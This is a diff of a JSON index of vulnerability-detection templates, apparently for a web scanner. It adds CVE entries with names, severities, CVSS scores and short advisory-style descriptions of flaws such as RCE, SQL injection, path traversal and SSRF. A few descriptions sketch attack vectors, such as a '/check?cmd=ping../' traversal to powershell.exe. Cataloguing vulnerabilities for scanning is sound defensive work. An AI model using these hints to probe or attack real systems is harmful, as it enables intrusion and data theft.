 {"ID":"CVE-2019-19985","Info":{"Name":"WordPress Email Subscribers \u0026 Newsletters \u003c4.2.3 - Arbitrary File Retrieval","Severity":"medium","Description":"WordPress Email Subscribers \u0026 Newsletters plugin before 4.2.3 is susceptible to arbitrary file retrieval via a flaw that allows unauthenticated file download and user information disclosure. An attacker can  obtain sensitive information, modify data, and/or execute unauthorized administrative operations.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2019/CVE-2019-19985.yaml"}
 {"ID":"CVE-2019-20085","Info":{"Name":"TVT NVMS 1000 - Local File Inclusion","Severity":"high","Description":"TVT NVMS-1000 devices allow GET /.. local file inclusion attacks.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-20085.yaml"}
@@ -1512,6 +1518,7 @@
 {"ID":"CVE-2021-33904","Info":{"Name":"Accela Civic Platform \u003c=21.1 - Cross-Site Scripting","Severity":"medium","Description":"Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via the security/hostSignon.do parameter servProvCode.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-33904.yaml"}
 {"ID":"CVE-2021-34187","Info":{"Name":"Chamilo model.ajax.php - SQL Injection","Severity":"critical","Description":"main/inc/ajax/model.ajax.php in Chamilo through 1.11.14 allows SQL Injection via the searchField, filters, or filters2 parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-34187.yaml"}
 {"ID":"CVE-2021-34370","Info":{"Name":"Accela Civic Platform \u003c=21.1 - Cross-Site Scripting","Severity":"medium","Description":"Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via  ssoAdapter/logoutAction.do successURL.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-34370.yaml"}
+{"ID":"CVE-2021-34427","Info":{"Name":"Eclipse BIRT Viewer - Remote Code Execution","Severity":"critical","Description":"Eclipse BIRT versions 4.8.0 and earlier contain a JSP injection caused by query parameters, letting remote attackers create and access malicious JSP files in the viewer directory, exploit requires sending crafted query parameters.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-34427.yaml"}
 {"ID":"CVE-2021-34429","Info":{"Name":"Eclipse Jetty - Information Disclosure","Severity":"medium","Description":"Eclipse Jetty 9.4.37-9.4.42, 10.0.1-10.0.5 and 11.0.1-11.0.5 are susceptible to improper authorization. URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2021/CVE-2021-34429.yaml"}
 {"ID":"CVE-2021-34473","Info":{"Name":"Exchange Server - Remote Code Execution","Severity":"critical","Description":"Microsoft Exchange Server is vulnerable to a remote code execution vulnerability. This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2021/CVE-2021-34473.yaml"}
 {"ID":"CVE-2021-34621","Info":{"Name":"WordPress ProfilePress  3.0.0-3.1.3 - Admin User Creation Weakness","Severity":"critical","Description":"ProfilePress WordPress plugin  is susceptible to a vulnerability in the user registration component in the ~/src/Classes/RegistrationAuth.php file that makes it possible for users to register on sites as an administrator.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-34621.yaml"}
@@ -1672,6 +1679,7 @@
 {"ID":"CVE-2021-44515","Info":{"Name":"Zoho ManageEngine Desktop Central - Remote Code Execution","Severity":"critical","Description":"Zoho ManageEngine Desktop Central contains an authentication bypass vulnerability that could allow an attacker to execute arbitrary code in the Desktop Central MSP server.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-44515.yaml"}
 {"ID":"CVE-2021-44528","Info":{"Name":"Open Redirect in Host Authorization Middleware","Severity":"medium","Description":"Specially crafted \"X-Forwarded-Host\" headers in combination with certain \"allowed host\" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-44528.yaml"}
 {"ID":"CVE-2021-44529","Info":{"Name":"Ivanti EPM Cloud Services Appliance Code Injection","Severity":"critical","Description":"Ivanti EPM Cloud Services Appliance (CSA) before version 4.6.0-512 is susceptible to a code injection vulnerability because it allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-44529.yaml"}
+{"ID":"CVE-2021-4462","Info":{"Name":"Employee Records System 1.0 - Unauthenticated File Upload RCE","Severity":"critical","Description":"Employee Records System version 1.0 contains an unrestricted file upload vulnerability in uploadID.php that allows remote unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-4462.yaml"}
 {"ID":"CVE-2021-44848","Info":{"Name":"Thinfinity VirtualUI User Enumeration","Severity":"medium","Description":"Thinfinity VirtualUI (before v3.0), /changePassword returns different responses for requests depending on whether the username exists. It may enumerate OS users (Administrator, Guest, etc.)","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2021/CVE-2021-44848.yaml"}
 {"ID":"CVE-2021-44910","Info":{"Name":"SpringBlade - Information Leakage","Severity":"high","Description":"SpringBlade is a comprehensive project upgraded and optimized from a commercial-grade project, featuring both a SpringCloud distributed microservice architecture and a SpringBoot monolithic microservice architecture. The SpringBlade framework has a default SIGN_KEY, which can be exploited by attackers to obtain sensitive information such as user account password logs.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2021/CVE-2021-44910.yaml"}
 {"ID":"CVE-2021-45027","Info":{"Name":"Oliver 5 Library Server \u003c8.00.008.053 - Local File Inclusion","Severity":"high","Description":"Oliver 5 Library Server versions prior to 8.00.008.053 are vulnerable to local file inclusion via the FileServlet function.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-45027.yaml"}
@@ -1983,6 +1991,7 @@
 {"ID":"CVE-2022-29013","Info":{"Name":"Razer Sila Gaming Router - Remote Code Execution","Severity":"critical","Description":"A command injection in the command parameter of Razer Sila Gaming Router v2.0.441_api-2.0.418 allows attackers to execute arbitrary commands via a crafted POST request.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-29013.yaml"}
 {"ID":"CVE-2022-29014","Info":{"Name":"Razer Sila Gaming Router 2.0.441_api-2.0.418 - Local File Inclusion","Severity":"high","Description":"Razer Sila Gaming Router 2.0.441_api-2.0.418 is vulnerable to local file inclusion which could allow attackers to read arbitrary files.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-29014.yaml"}
 {"ID":"CVE-2022-29078","Info":{"Name":"Node.js Embedded JavaScript 3.1.6 - Template Injection","Severity":"critical","Description":"Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-29078.yaml"}
+{"ID":"CVE-2022-29081","Info":{"Name":"Zoho ManageEngine - Access Control Bypass","Severity":"critical","Description":"Zoho ManageEngine Access Manager Plus before 4302, Password Manager Pro before 12007, and PAM360 before 5401 are vulnerable to access-control bypass on a few Rest API URLs (for SSOutAction. SSLAction. LicenseMgr. GetProductDetails. GetDashboard. FetchEvents. and Synchronize) via the ../RestAPI substring.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-29081.yaml"}
 {"ID":"CVE-2022-29153","Info":{"Name":"HashiCorp Consul/Consul Enterprise - Server-Side Request Forgery","Severity":"high","Description":"HashiCorp Consul and Consul Enterprise up to 1.9.16, 1.10.9, and 1.11 are susceptible to server-side request forgery. When redirects are returned by HTTP health check endpoints, Consul follows these HTTP redirects by default. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-29153.yaml"}
 {"ID":"CVE-2022-29272","Info":{"Name":"Nagios XI \u003c5.8.5 - Open Redirect","Severity":"medium","Description":"Nagios XI through 5.8.5 contains an open redirect vulnerability in the login function. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-29272.yaml"}
 {"ID":"CVE-2022-29298","Info":{"Name":"SolarView Compact 6.00 - Local File Inclusion","Severity":"high","Description":"SolarView Compact 6.00 is vulnerable to local file inclusion which could allow attackers to access sensitive files.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-29298.yaml"}
@@ -2240,6 +2249,7 @@
 {"ID":"CVE-2022-48323","Info":{"Name":"Sunflower Simple and Personal 1.0.1.43315 - Remote Code Execution","Severity":"critical","Description":"Sunlogin Sunflower Simplified (aka Sunflower Simple and Personal) 1.0.1.43315 is vulnerable to a path traversal issue. A remote and unauthenticated attacker can execute arbitrary programs on the victim host by sending a crafted HTTP request, as demonstrated by /check?cmd=ping../ followed by the pathname of the powershell.exe program.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-48323.yaml"}
 {"ID":"CVE-2022-4897","Info":{"Name":"WordPress BackupBuddy \u003c8.8.3 - Cross Site Scripting","Severity":"medium","Description":"WordPress BackupBuddy plugin before 8.8.3 contains a cross-site vulnerability. The plugin does not sanitize and escape some parameters before outputting them back in various locations. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-4897.yaml"}
 {"ID":"CVE-2022-4971","Info":{"Name":"Sassy Social Share \u003c= 3.3.3 - Cross-Site Scripting","Severity":"medium","Description":"The Sassy Social Share plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'urls' parameter called via the 'heateor_sss_sharing_count' AJAX action in versions up to, and including, 3.3.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-4971.yaml"}
+{"ID":"CVE-2021-4449","Info":{"Name":"ZoomSounds Plugin - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"ZoomSounds plugin for WordPress contains a file upload vulnerability in savepng.php\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2021-4449.yaml"}
 {"ID":"CVE-2023-0037","Info":{"Name":"WordPress 10Web Map Builder \u003c 1.0.73 - Unauthenticated SQL Injection","Severity":"critical","Description":"The 10Web Map Builder for Google Maps WordPress plugin before 1.0.73 does not properly sanitise and escape some parameters before using them in an SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-0037.yaml"}
 {"ID":"CVE-2023-0099","Info":{"Name":"Simple URLs \u003c 115 - Cross Site Scripting","Severity":"medium","Description":"The plugin does not sanitise and escape some parameters before outputting them back in some pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-0099.yaml"}
 {"ID":"CVE-2023-0126","Info":{"Name":"SonicWall SMA1000 LFI","Severity":"high","Description":"Pre-authentication path traversal vulnerability in SMA1000 firmware version 12.4.2, which allows an unauthenticated attacker to access arbitrary files and directories stored outside the web root directory.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-0126.yaml"}
@@ -2823,6 +2833,7 @@
 {"ID":"CVE-2024-1698","Info":{"Name":"NotificationX \u003c= 2.8.2 - SQL Injection","Severity":"critical","Description":"The NotificationX - Best FOMO, Social Proof, WooCommerce Sales Popup \u0026 Notification Bar Plugin With Elementor plugin for WordPress is vulnerable to SQL Injection via the 'type' parameter in all versions up to, and including, 2.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-1698.yaml"}
 {"ID":"CVE-2024-1709","Info":{"Name":"ConnectWise ScreenConnect 23.9.7 - Authentication Bypass","Severity":"critical","Description":"ConnectWise ScreenConnect 23.9.7 and prior are affected by an Authentication Bypass Using an Alternate Path or Channel vulnerability, which may allow an attacker direct access to confidential information or critical systems.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-1709.yaml"}
 {"ID":"CVE-2024-1728","Info":{"Name":"Gradio \u003e 4.19.1 UploadButton - Path Traversal","Severity":"high","Description":"gradio-app/gradio is vulnerable to a local file inclusion vulnerability due to improper validation of user-supplied input in the UploadButton component.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-1728.yaml"}
+{"ID":"CVE-2024-20404","Info":{"Name":"Cisco Finesse - Server-Side Request Forgery (SSRF)","Severity":"medium","Description":"Cisco Finesse contains an SSRF caused by insufficient validation of user-supplied input in HTTP requests, letting unauthenticated remote attackers access limited sensitive information, exploit requires sending crafted HTTP requests.\n","Classification":{"CVSSScore":"5.8"}},"file_path":"http/cves/2024/CVE-2024-20404.yaml"}
 {"ID":"CVE-2024-20419","Info":{"Name":"Cisco SSM On-Prem \u003c= 8-202206 - Password Reset Account Takeover","Severity":"critical","Description":"A vulnerability in the authentication system of Cisco Smart Software Manager On-Prem (SSM On-Prem) could allow an unauthenticated, remote attacker to change the password of any user, including administrative users. This vulnerability is due to improper implementation of the password-change process.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-20419.yaml"}
 {"ID":"CVE-2024-20439","Info":{"Name":"Hardcoded Admin Credentials For Cisco Smart Licensing Utility API","Severity":"critical","Description":"A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to log in to an affected system by using a static administrative credential.This vulnerability is due to an undocumented static user credential for an administrative account. An attacker could exploit this vulnerability by using the static credentials to log in to the affected system. A successful exploit could allow the attacker to log in to the affected system with administrative privileges over the API of the Cisco Smart Licensing Utility application.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-20439.yaml"}
 {"ID":"CVE-2024-20440","Info":{"Name":"Cisco Smart Licensing Utility UnAuthenticated Logs Exposure Leaking Plaintext Credentials","Severity":"high","Description":"A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-20440.yaml"}
@@ -3112,6 +3123,7 @@
 {"ID":"CVE-2024-53704","Info":{"Name":"SSL VPN Session Hijacking","Severity":"critical","Description":"An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-53704.yaml"}
 {"ID":"CVE-2024-53900","Info":{"Name":"Mongoose \u003c 8.8.3 - Remote Code Execution","Severity":"critical","Description":"Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-53900.yaml"}
 {"ID":"CVE-2024-53991","Info":{"Name":"Discourse Backup File Disclosure Via Default Nginx Configuration","Severity":"high","Description":"Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-53991.yaml"}
+{"ID":"CVE-2024-53995","Info":{"Name":"SickChill - Open Redirect","Severity":"low","Description":"SickChill's login endpoint's 'next_' parameter accepts arbitrary content, allowing authenticated attackers to perform open redirects, but this was fixed in commit c7128a8946c3701df95c285810eb75b2de18bf82 by redirecting to a default page.\n","Classification":{"CVSSScore":"4.7"}},"file_path":"http/cves/2024/CVE-2024-53995.yaml"}
 {"ID":"CVE-2024-5420","Info":{"Name":"SEH utnserver Pro/ProMAX/INU-100 20.1.22 - Cross-Site Scripting","Severity":"high","Description":"A vulnerability was found in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, affecting the device description parameter in the web interface. This flaw allows stored cross-site scripting (XSS), enabling attackers to inject JavaScript code. The attack can be executed remotely by tricking victims into visiting a malicious website, potentially leading to session hijacking. This vulnerability is publicly disclosed and identified as CVE-2024-5420.\n","Classification":{"CVSSScore":"8.3"}},"file_path":"http/cves/2024/CVE-2024-5420.yaml"}
 {"ID":"CVE-2024-5421","Info":{"Name":"SEH utnserver Pro/ProMAX/INU-100 20.1.22 - File Exposure","Severity":"high","Description":"A vulnerability was identified in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, impacting the file handling functions. This flaw results in authenticated file disclosure, granting unauthorized access to sensitive files and directories. Although authentication is required, the vulnerability poses a significant risk of data exposure. This vulnerability is publicly disclosed and identified as CVE-2024-5421.\n","Classification":{"CVSSScore":"8.7"}},"file_path":"http/cves/2024/CVE-2024-5421.yaml"}
 {"ID":"CVE-2024-54330","Info":{"Name":"Hurrakify \u003c= 2.4 - Server-Side Request Forgery","Severity":"high","Description":"The Hurrakify plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.4. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2024/CVE-2024-54330.yaml"}
@@ -3243,17 +3255,22 @@
 {"ID":"CVE-2025-0674","Info":{"Name":"Elber ESE DVB-S/S2 - Authentication Bypass","Severity":"critical","Description":"Multiple Elber products are affected by an authentication bypass vulnerability which allows unauthorized access to the password management functionality. Attackers can exploit this issue by manipulating the endpoint to overwrite any user's password within the system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-0674.yaml"}
 {"ID":"CVE-2025-0868","Info":{"Name":"DocsGPT - Unauthenticated Remote Code Execution","Severity":"critical","Description":"A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-0868.yaml"}
 {"ID":"CVE-2025-10035","Info":{"Name":"GoAnywhere - Authentication Bypass","Severity":"critical","Description":"Fortra GoAnywhere MFT contains an insecure deserialization vulnerability in the License Servlet caused by deserializing attacker-controlled objects with a valid forged license response signature, letting attackers perform command injection, exploit requires valid forged license signature.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-10035.yaml"}
+{"ID":"CVE-2025-10204","Info":{"Name":"AC Smart II - Authentication Bypass","Severity":"high","Description":"AC Smart II contains an authentication bypass caused by a hidden password reset form that can be manipulated to change the administrator password without verifying login or permissions, letting attackers change admin passwords without authorization.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-10204.yaml"}
 {"ID":"CVE-2025-1023","Info":{"Name":"ChurchCRM - SQL Injection","Severity":"critical","Description":"A vulnerability exists in ChurchCRM 5.13.0 and prior that allows an attacker to execute arbitrary SQL queries by exploiting a time-based blind SQL Injection vulnerability in the EditEventTypes functionality. The newCountName parameter is directly concatenated into an SQL query without proper sanitization, allowing an attacker to manipulate database queries and execute arbitrary commands, potentially leading to data exfiltration, modification, or deletion.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1023.yaml"}
 {"ID":"CVE-2025-1025","Info":{"Name":"Cockpit \u003c 2.4.1 - Arbitrary File Upload","Severity":"high","Description":"Versions of the package cockpit-hq/cockpit before 2.4.1 are vulnerable to Arbitrary File Upload where an attacker can use different extensions to bypass the upload filter.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1025.yaml"}
 {"ID":"CVE-2025-1035","Info":{"Name":"KLog Server - Path Traversal","Severity":"medium","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Komtera Technolgies KLog Server allows Manipulating Web Input to File System Calls.This issue affects KLog Server: before 3.1.1.\n","Classification":{"CVSSScore":"5.7"}},"file_path":"http/cves/2025/CVE-2025-1035.yaml"}
 {"ID":"CVE-2025-1097","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation","Severity":"high","Description":"A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1097.yaml"}
 {"ID":"CVE-2025-1098","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized Mirror Annotations","Severity":"high","Description":"A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1098.yaml"}
 {"ID":"CVE-2025-11371","Info":{"Name":"Gladinet CentreStack \u0026 TrioFox - Local File Inclusion","Severity":"medium","Description":"In the default installation and configuration of Gladinet CentreStack and TrioFox, there is an unauthenticated Local File Inclusion Flaw that allows unintended disclosure of system files. Exploitation of this vulnerability has been observed in the wild.  This issue impacts Gladinet CentreStack and Triofox: All versions prior to and including 16.7.10368.56560\n","Classification":{"CVSSScore":"6.2"}},"file_path":"http/cves/2025/CVE-2025-11371.yaml"}
+{"ID":"CVE-2025-11700","Info":{"Name":"N-central - XML External Entities Injection","Severity":"high","Description":"N-central versions \u003c 2025.4 are vulnerable to an XML External Entities injection leading to information disclosure.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-11700.yaml"}
 {"ID":"CVE-2025-11749","Info":{"Name":"WordPress AI Engine Plugin - Token Exposure","Severity":"critical","Description":"Unauthenticated sensitive information exposure in AI Engine WordPress plugin \u003c= 3.1.3 exposes bearer tokens via REST API endpoints when No-Auth URL is enabled.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-11749.yaml"}
 {"ID":"CVE-2025-11750","Info":{"Name":"Dify - User Enumeration via \"Account not found\" Message","Severity":"medium","Description":"A user enumeration vulnerability exists in langgenius/dify, where the login API leaks information about whether a user account exists or not. When an invalid/non-existent email is used during login, the API returns a distinct error message such as \"account_not_found\" or \"Account not found.\", allowing attackers to identify valid accounts.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-11750.yaml"}
+{"ID":"CVE-2025-11833","Info":{"Name":"Post SMTP \u003c= 3.6.0 - Email Log Disclosure","Severity":"critical","Description":"Post SMTP WordPress plugin \u003c= 3.6.0 contains an unauthorized data access vulnerability caused by missing capability check in __construct function, letting unauthenticated attackers read arbitrary logged emails, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-11833.yaml"}
+{"ID":"CVE-2025-12055","Info":{"Name":"MPDV Mikrolab GmbH HYDRA X, MIP 2 \u0026 FEDRA 2 - Path Traversal","Severity":"high","Description":"MPDV Mikrolab GmbH HYDRA X, MIP 2, and FEDRA 2 \u003c= Maintenance Pack 36 with Servicepack 8 (week 36/2025) contain an unauthenticated local file disclosure vulnerability caused by improper validation of the \"Filename\" parameter in the public $SCHEMAS$ resource, letting attackers read arbitrary Windows OS files, exploit requires local access.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-12055.yaml"}
 {"ID":"CVE-2025-12480","Info":{"Name":"Triofox - Improper Access Control","Severity":"critical","Description":"The Gladinet Triofox solution before 12.91.1126.65588 and CentreStack before 12.10.595.65696 allow unauthenticated access to the /management/admindatabase.aspx endpoint, exposing sensitive database management functionality to anyone with network access. An unauthenticated attacker can remotely access, view, and potentially interact with the database management interface, risking data disclosure or system compromise.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-12480.yaml"}
 {"ID":"CVE-2025-1302","Info":{"Name":"JSONPath Plus \u003c 10.3.0 - Remote Code Execution","Severity":"critical","Description":"Versions of the package jsonpath-plus before 10.3.0 are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of eval='safe' mode. **Note:** This is caused by an incomplete fix for [CVE-2024-21534]\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1302.yaml"}
 {"ID":"CVE-2025-1323","Info":{"Name":"WP-Recall – Plugin \u003c= 16.26.10 - Unauthenticated SQL Injection","Severity":"high","Description":"The WP-Recall – Registration, Profile, Commerce \u0026 More plugin for WordPress is vulnerable to SQL Injection via the 'databeat' parameter in all versions up to, and including, 16.26.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1323.yaml"}
+{"ID":"CVE-2025-13315","Info":{"Name":"Twonky Server 8.5.2 on Linux and Windows - Log File Exposure","Severity":"critical","Description":"Twonky Server 8.5.2 contains a broken access control vulnerability caused by bypassing web service API authentication, letting unauthenticated attackers read log files with administrator credentials, exploit requires no authentication\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-13315.yaml"}
 {"ID":"CVE-2025-1562","Info":{"Name":"Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit - Broken Access Control","Severity":"critical","Description":"The Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the install_or_activate_addon_plugins() function and a weak nonce hash in all versions up to, and including, 3.5.3. This makes it possible for unauthenticated attackers to install arbitrary plugins on the site that can be leveraged to further infect a vulnerable site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1562.yaml"}
 {"ID":"CVE-2025-1595","Info":{"Name":"EasyCVR \u003c=2.1.2 - Information Disclosure","Severity":"medium","Description":"A vulnerability has been found in Anhui Xufan Information Technology EasyCVR up to 2.7.0 and classified as problematic. This vulnerability affects unknown code of the file /api/v1/getbaseconfig. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1595.yaml"}
 {"ID":"CVE-2025-1661","Info":{"Name":"HUSKY – Products Filter Professional for WooCommerce \u003c= 1.3.6.5 - Unauthenticated Local File Inclusion","Severity":"critical","Description":"The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.6.5 via the 'template' parameter of the woof_text_search AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1661.yaml"}
@@ -3310,6 +3327,7 @@
 {"ID":"CVE-2025-2777","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the lshw processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2777.yaml"}
 {"ID":"CVE-2025-27888","Info":{"Name":"Apache Druid - Server-Side Request Forgery","Severity":"high","Description":"Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-27888.yaml"}
